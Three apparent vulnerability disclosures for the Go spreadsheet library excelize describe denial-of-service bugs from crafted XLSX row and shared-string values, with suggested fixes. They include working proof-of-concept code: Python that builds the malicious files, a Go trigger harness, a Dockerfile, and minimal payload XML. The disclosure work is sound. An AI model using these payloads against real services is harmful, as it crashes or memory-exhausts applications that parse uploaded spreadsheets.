Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.
Details The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.
Data flow (source → sink):
1. excelize.go:186-193 — OpenReader reads attacker-controlled spreadsheet bytes. 2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader. 3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name. 4. excelize.go:228-229 — XML bytes are stored in f.Pkg. 5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path. 6. cell.go:1492-1494 — getCellStringFunc calls workSheetReader. 7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet. 8. xmlWorksheet.go:302-312 — <row r="..."> is deserialized into xlsxRow.R int with no validation (source). 9. excelize.go:357-377 — checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check.
Vulnerable code (excelize.go:373-377): go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation
The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.
Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.
Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.
Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: panic: runtime error: index out of range [-2]
goroutine 1 [running]: github.com/xuri/excelize/v2.(xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52
Recommended remediation (excelize.go): diff -func (ws xlsxWorksheet) checkSheet() { +func (ws xlsxWorksheet) checkSheet() error { ... for i := 0; i < len(ws.SheetData.Row); i++ { r := ws.SheetData.Row[i] + if r.R < 0 { + return newInvalidRowNumberError(r.R) + } + if r.R > TotalRows { + return ErrMaxRows + } ... ws.SheetData = sheetData + return nil }
PoC
Step 1: Generate the malicious XLSX
python import zipfile
Variant A: OOM → row = "2147483647" Variant B: Panic → row = "-1" row = "-1"
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIPDEFLATED) as z: z.writestr("[ContentTypes].xml", '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') z.writestr("rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''') z.writestr("xl/rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData> </worksheet>''')
Step 2: Trigger the vulnerability
go package main
import "github.com/xuri/excelize/v2"
func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() , err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } }
Expected results: - Variant A (r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memory or exit code 137). - Variant B (r="-1"): process panics with runtime error: index out of range [-2] at excelize.go:381 (exit code 2).
Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.
Impact
This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).
Who is impacted: - Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). - CLI tools or batch jobs that parse user-supplied spreadsheet files. - Any application using the library to handle untrusted XLSX documents.
The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Target: github.com/xuri/excelize/v2 @ commit f4a068b Exploit path: GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet() In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N"> attribute is used directly as make([]xlsxRow, row) size with no bounds check. Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB)
FROM golang:latest AS builder
Copy the vulnerable excelize library source (serves as the Go module) COPY repo/ /excelize/
Copy the exploit main package written by poc.py COPY vuln-001/exploitmain.go /excelize/cmd/poc/main.go
WORKDIR /excelize
Build the exploit binary. -mod=mod: allow Go to update go.sum for any transitive deps. CGOENABLED=0: produce a statically-linked binary for the runtime stage. RUN CGOENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/
Minimal runtime stage (golang image provides a libc for cgo-free binary too) FROM golang:latest COPY --from=builder /poc /poc ENTRYPOINT ["/poc"]
poc.py
python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Repository: qax-os/excelize Commit: f4a068b
Exploit mechanism: xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and uses the attacker-controlled <row r="N"> attribute directly as the length argument to make([]xlsxRow, row) without any bounds validation against TotalRows (1,048,576).
Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error Variant B (r=-1): first loop leaves row=0; second loop executes sheetData.Row[-1-1] → runtime panic: index out of range
This script: 1. Writes exploitmain.go (the Go PoC binary source). 2. Creates two malicious XLSX files (one per variant). 3. Builds the Docker image. 4. Runs each variant and captures evidence. 5. Writes phase2result.json with verdict. """
import json import os import subprocess import sys import textwrap import zipfile
--------------------------------------------------------------------------- Paths --------------------------------------------------------------------------- BASEDIR = os.path.dirname(os.path.abspath(file)) PARENTDIR = os.path.dirname(BASEDIR) # Docker build context RESULTFILE = os.path.join(BASEDIR, "phase2result.json") DOCKERFILE = os.path.join(BASEDIR, "Dockerfile") IMAGENAME = "excelize-poc-vuln001"
EXPLOITSRC = os.path.join(BASEDIR, "exploitmain.go") PANICXLSX = os.path.join(BASEDIR, "rownegative.xlsx") OOMXLSX = os.path.join(BASEDIR, "rowmaxint.xlsx")
--------------------------------------------------------------------------- Step 1 — Write the Go exploit source --------------------------------------------------------------------------- EXPLOITGO = textwrap.dedent("""\ // exploitmain.go — PoC for VULN-001 // Triggers excelize checkSheet() unbounded allocation via malicious XLSX. package main
import ( \t"fmt" \t"os" \t"runtime/debug"
\texcelize "github.com/xuri/excelize/v2" )
func main() { \tif len(os.Args) < 2 { \t\tfmt.Fprintln(os.Stderr, "Usage: poc <xlsxfile>") \t\tos.Exit(1) \t} \tpath := os.Args[1] \tfmt.Printf("[] Opening: %s\\n", path)
\t// Wrap the call so we can print a structured panic message before exiting. \t// The panic itself is the evidence of exploitability. \tfunc() { \t\tdefer func() { \t\t\tif r := recover(); r != nil { \t\t\t\tfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed") \t\t\t\tfmt.Printf("[VULN] panic value: %v\\n", r) \t\t\t\tfmt.Println("[VULN] Stack trace:") \t\t\t\tdebug.PrintStack() \t\t\t\tos.Exit(2) // exit 2 = exploitable crash (panic) \t\t\t} \t\t}()
\t\tf, err := excelize.OpenFile(path) \t\tif err != nil { \t\t\tfmt.Printf("[!] OpenFile error: %v\\n", err) \t\t\tos.Exit(1) \t\t} \t\tdefer f.Close()
\t\t// GetCellValue → getCellStringFunc → workSheetReader → checkSheet() \t\t// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled. \t\tfmt.Println("[] Calling GetCellValue — entering checkSheet() sink") \t\tval, err := f.GetCellValue("Sheet1", "A1") \t\tif err != nil { \t\t\t// Some errors surface instead of panicking (e.g. allocation failures \t\t\t// that Go converts to errors in some configurations). \t\t\tfmt.Printf("[!] GetCellValue error: %v\\n", err) \t\t\tos.Exit(3) // exit 3 = error path (still abnormal) \t\t} \t\tfmt.Printf("[] GetCellValue returned normally, value=%q (no crash)\\n", val) \t}() } """)
def writeexploitsource() -> None: with open(EXPLOITSRC, "w") as fh: fh.write(EXPLOITGO) print(f"[+] Wrote exploit source: {EXPLOITSRC}")
--------------------------------------------------------------------------- Step 2 — Build malicious XLSX files --------------------------------------------------------------------------- CONTENTTYPES = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' '<Default Extension="xml" ContentType="application/xml"/>' '<Override PartName="/xl/workbook.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' '<Override PartName="/xl/worksheets/sheet1.xml"' ' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' '</Types>' )
RELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"' ' Target="xl/workbook.xml"/>' '</Relationships>' )
WORKBOOK = ( '<?xml version="1.0" encoding="UTF-8"?>' '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"' ' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' '<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>' '</workbook>' )
WORKBOOKRELS = ( '<?xml version="1.0" encoding="UTF-8"?>' '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' '<Relationship Id="rId1"' ' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"' ' Target="worksheets/sheet1.xml"/>' '</Relationships>' )
def sheetxml(rowr: str) -> str: return ( '<?xml version="1.0" encoding="UTF-8"?>' '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' f'<sheetData><row r="{rowr}"><c r="A1"><v>1</v></c></row></sheetData>' '</worksheet>' )
def buildxlsx(path: str, rowr: str) -> None: with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: z.writestr("[ContentTypes].xml", CONTENTTYPES) z.writestr("rels/.rels", RELS) z.writestr("xl/workbook.xml", WORKBOOK) z.writestr("xl/rels/workbook.xml.rels", WORKBOOKRELS) z.writestr("xl/worksheets/sheet1.xml", sheetxml(rowr)) print(f"[+] Created {os.path.basename(path)} (row r={rowr!r})")
--------------------------------------------------------------------------- Step 3 — Docker helpers --------------------------------------------------------------------------- def runcmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess: print(f"[>] {' '.join(str(x) for x in cmd)}") return subprocess.run( cmd, captureoutput=True, text=True, timeout=timeout, )
def dockerbuild() -> tuple[bool, str]: result = runcmd( [ "docker", "build", "--no-cache", "-f", DOCKERFILE, "-t", IMAGENAME, PARENTDIR, ], timeout=600, ) combined = result.stdout + result.stderr if result.returncode != 0: print(f"[-] docker build FAILED (rc={result.returncode})") print(combined[-4000:]) return False, combined print("[+] Docker image built successfully") return True, combined
def dockerrunvariant(label: str, xlsxpath: str, mem: str = "256m", timeout: int = 90) -> dict: """Run the exploit container against one XLSX file and return analysis dict.""" cmd = [ "docker", "run", "--rm", "--memory", mem, "--memory-swap", mem, "-v", f"{xlsxpath}:/input.xlsx:ro", IMAGENAME, "/input.xlsx", ] runcmdstr = " ".join(cmd) try: result = runcmd(cmd, timeout=timeout) rc = result.returncode stdout = result.stdout or "" stderr = result.stderr or "" except subprocess.TimeoutExpired: rc = -99 stdout = "" stderr = f"TIMEOUT after {timeout}s"
combined = stdout + stderr print(f"\n--- {label} ---") print(f" exit code : {rc}") print(f" stdout : {stdout[:1200]}") print(f" stderr : {stderr[:1200]}")
ispanic = any(kw in combined for kw in ( "index out of range", "PANIC CAUGHT", "runtime error", "goroutine ", "panic:", )) isoom = any(kw in combined for kw in ( "out of memory", "cannot allocate", "fatal error", "makeslice", )) or rc == 137
# exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path crashed = rc != 0 and (ispanic or isoom or rc in (2, 3, 137))
return { "label": label, "rc": rc, "ispanic": ispanic, "isoom": isoom, "crashed": crashed, "runcmd": runcmdstr, "snippet": combined[:1500].strip(), }
--------------------------------------------------------------------------- Main --------------------------------------------------------------------------- def main() -> None: print("=" 65) print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS") print("=" 65)
# 1. Write Go exploit source (needed before docker build) writeexploitsource()
# 2. Create malicious XLSX payloads buildxlsx(PANICXLSX, "-1") # Variant B: index OOB panic buildxlsx(OOMXLSX, "2147483647") # Variant A: 2 GB+ make() → OOM
# 3. Build Docker image buildcmd = ( f"docker build --no-cache -f {DOCKERFILE} -t {IMAGENAME} {PARENTDIR}" ) buildok, buildout = dockerbuild() if not buildok: payload = { "passed": False, "verdict": "FAIL", "reason": ( "Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 " "'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 " "'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다." ), "buildcommand": buildcmd, "runcommand": "", "poccommand": f"python3 {os.path.abspath(file)}", "evidence": buildout[-2000:], "artifacts": ["Dockerfile", "poc.py"], } with open(RESULTFILE, "w") as fh: json.dump(payload, fh, indent=2, ensureascii=False) print(f"\n[!] FAIL result → {RESULTFILE}") sys.exit(1)
# 4. Run both variants evpanic = dockerrunvariant( "Variant B — r=-1 (index out of range panic)", PANICXLSX, mem="256m") evoom = dockerrunvariant( "Variant A — r=2147483647 (OOM)", OOMXLSX, mem="256m")
# 5. Verdict passed = evpanic["crashed"] or evoom["crashed"]
if evpanic["crashed"]: primary, primaryev = "B (r=-1, panic)", evpanic elif evoom["crashed"]: primary, primaryev = "A (r=2147483647, OOM)", evoom else: primary, primaryev = "B (r=-1, panic)", evpanic # best-effort
if passed: reason = ( f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). " f"Variant B(r=-1): rc={evpanic['rc']}, panic={evpanic['ispanic']}; " f"Variant A(r=2147483647): rc={evoom['rc']}, oom={evoom['isoom']}. " "excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 " "컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명." ) verdict = "PASS" else: reason = ( "컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. " f"Variant B rc={evpanic['rc']}, Variant A rc={evoom['rc']}. " "가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, " "(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. " "다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행." ) verdict = "FAIL"
phase2 = { "passed": passed, "verdict": verdict, "reason": reason, "buildcommand": buildcmd, "runcommand": primaryev["runcmd"], "poccommand": f"python3 {os.path.abspath(file)}", "evidence": primaryev["snippet"], "artifacts": ["Dockerfile", "poc.py"], }
with open(RESULTFILE, "w") as fh: json.dump(phase2, fh, indent=2, ensureascii=False)
print(f"\n{'='65}") print(f"Verdict : {verdict} (passed={passed})") print(f"Result → {RESULTFILE}") print("=" 65)
if name == "main": main()
Negative shared-string index causes panic in GetCellValue and GetRows
Summary
Excelize parses shared-string cell values with strconv.Atoi and checks only the upper bound before indexing the shared string slice. If an XLSX file contains a shared-string cell with <v>-1</v>, the parsed index is negative. The upper-bound check still passes (len(sharedStrings) > -1), and Excelize indexes sharedStrings[-1], causing a runtime panic.
This was reproduced on the current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and the latest release tag v2.10.1 (5ad5ab3af0054c55bdce09f1530085600e9f2e45). The issue is independent from the row-bound allocation report, so I am reporting it separately.
Affected package
- Package: github.com/xuri/excelize/v2 - Tested affected versions: current default branch at 1213a8bd7c5ab360554603ac5c995ccaf6eb4314, and release v2.10.1 - Fixed version: none known at the time of this report
Impact
An attacker who can provide an XLSX file to an application using Excelize can trigger a process panic when the application reads the malicious cell through common APIs such as GetCellValue or GetRows. In services that parse untrusted spreadsheets without a panic recovery boundary, this can cause denial of service.
Root cause
For shared-string cells (t="s"), xlsxC.getValueFrom() parses the cell value as a shared-string index and only checks whether the index is below len(d.SI) before indexing:
go xlsxSI, := strconv.Atoi(strings.TrimSpace(c.V)) if len(d.SI) > xlsxSI { return d.SI[xlsxSI].String(), nil }
For xlsxSI == -1, len(d.SI) > -1 is true, so the code proceeds to index d.SI[-1] and panics.
Minimal worksheet payload
xml <?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"><c r="A1" t="s"><v>-1</v></c></row> </sheetData> </worksheet>
The workbook also contains a normal sharedStrings.xml with one string (ok), so the failure is specifically due to accepting a negative index.
Reproduction
Calling GetCellValue("Sheet1", "A1") on the workbook panics:
text == negative shared string GetCellValue == elapsed=0s allocdelta=0MB PANIC: runtime.boundsError runtime error: index out of range [-1]
Calling GetRows("Sheet1") on the same workbook also panics:
text == negative shared string GetRows == elapsed=0s allocdelta=0MB PANIC: runtime.boundsError runtime error: index out of range [-1]
The same results were observed on current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and on release v2.10.1.
Expected behavior
Malformed shared-string indices should be rejected or treated as missing/invalid string references without panicking.
Suggested remediation
Check both lower and upper bounds before indexing the shared string table. For example:
go if xlsxSI >= 0 && xlsxSI < len(d.SI) { return d.SI[xlsxSI].String(), nil }
Add regression tests for GetCellValue() and GetRows() on t="s" cells whose <v> value is negative.
Streaming GetRows row-bound bypass causes attacker-controlled allocation
Summary
Excelize's prior row-bound fix for GHSA-h69g / CVE-2026-54063 protects the checked worksheet parser, but the streaming worksheet reader used by Rows and GetRows does not enforce the same TotalRows bound on the row r attribute. A small XLSX file can set a row number above Excelize's maximum row (1048576) and omit the cell coordinate. GetRows then appends empty rows up to the attacker-controlled row index and returns success.
This was reproduced on the current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314 and the latest release tag v2.10.1 (5ad5ab3af0054c55bdce09f1530085600e9f2e45).
Affected package
- Package: github.com/xuri/excelize/v2 - Tested affected versions: current default branch at 1213a8bd7c5ab360554603ac5c995ccaf6eb4314, and release v2.10.1 - Fixed version: none known at the time of this report
Impact
An attacker who can provide an XLSX file to an application that calls GetRows can cause memory and CPU usage to scale with an attacker-controlled row number, even though the file itself is tiny. This is an availability issue and appears to be an incomplete coverage variant of the GHSA-h69g row-index allocation class.
In the conservative PoC, row r="2000000" returned a [][]string with length 2,000,000 and allocated about 46 MB. Larger row numbers scale the allocation further.
Root cause
The checked parser path validates row numbers:
- excelize.go: checkRowNum(r int) rejects negative rows and rows greater than TotalRows. - excelize.go: checkSheet() calls checkRowNum(r.R) before allocating sheet rows. - workSheetReader() invokes checkSheet() / checkRow() before returning a cached worksheet.
The streaming path does not use that checked parser:
- rows.go: Rows(sheet) opens an XML decoder directly. - Rows.Next() accepts the row r attribute and assigns it to the iterator's current row without applying checkRowNum(). - Rows.Columns() also assigns row r to the iterator state without applying checkRowNum(). - GetRows() appends empty row slices for the gap between the previous row and the current row.
Because a cell without an r coordinate can still contain a value, the worksheet can avoid cell-coordinate row validation while still causing GetRows() to materialize rows up to the out-of-range row number.
Minimal worksheet payload
xml <?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="2000000"><c t="s"><v>0</v></c></row> </sheetData> </worksheet>
The workbook also contains a normal sharedStrings.xml with one string (ok).
Reproduction
A minimal Go harness creates the XLSX in memory and calls GetRows("Sheet1"):
go rows, err := f.GetRows("Sheet1") fmt.Println("rowslen:", len(rows)) if len(rows) > 0 { fmt.Println("lastrow:", rows[len(rows)-1]) } fmt.Printf("returned error: %T %v\n", err, err)
Observed output on current default branch commit 1213a8bd7c5ab360554603ac5c995ccaf6eb4314:
text == streaming GetRows row r=2000000 cell without r == rowslen: 2000000 lastrow: [ok] returned error: <nil> <nil> elapsed=21ms allocdelta=46MB
Observed output on latest release tag v2.10.1:
text == streaming GetRows row r=2000000 cell without r == rowslen: 2000000 lastrow: [ok] returned error: <nil> <nil> elapsed=14ms allocdelta=46MB
A control using the checked parser with row r="1048577" and c r="A1048577" correctly returns row number exceeds maximum limit, confirming this report is about inconsistent enforcement in the streaming path rather than a missing global constant.
Expected behavior
Rows / GetRows should reject row numbers greater than TotalRows with the same error behavior as the checked parser path.
Suggested remediation
- Apply the same row-bound validation in the streaming reader immediately after parsing a row r attribute. - Preserve and return row parsing errors from GetRows() instead of silently continuing or returning only Rows.Close() errors. - Add regression tests for GetRows() on a worksheet containing row r="1048577" with a cell value but no cell r coordinate.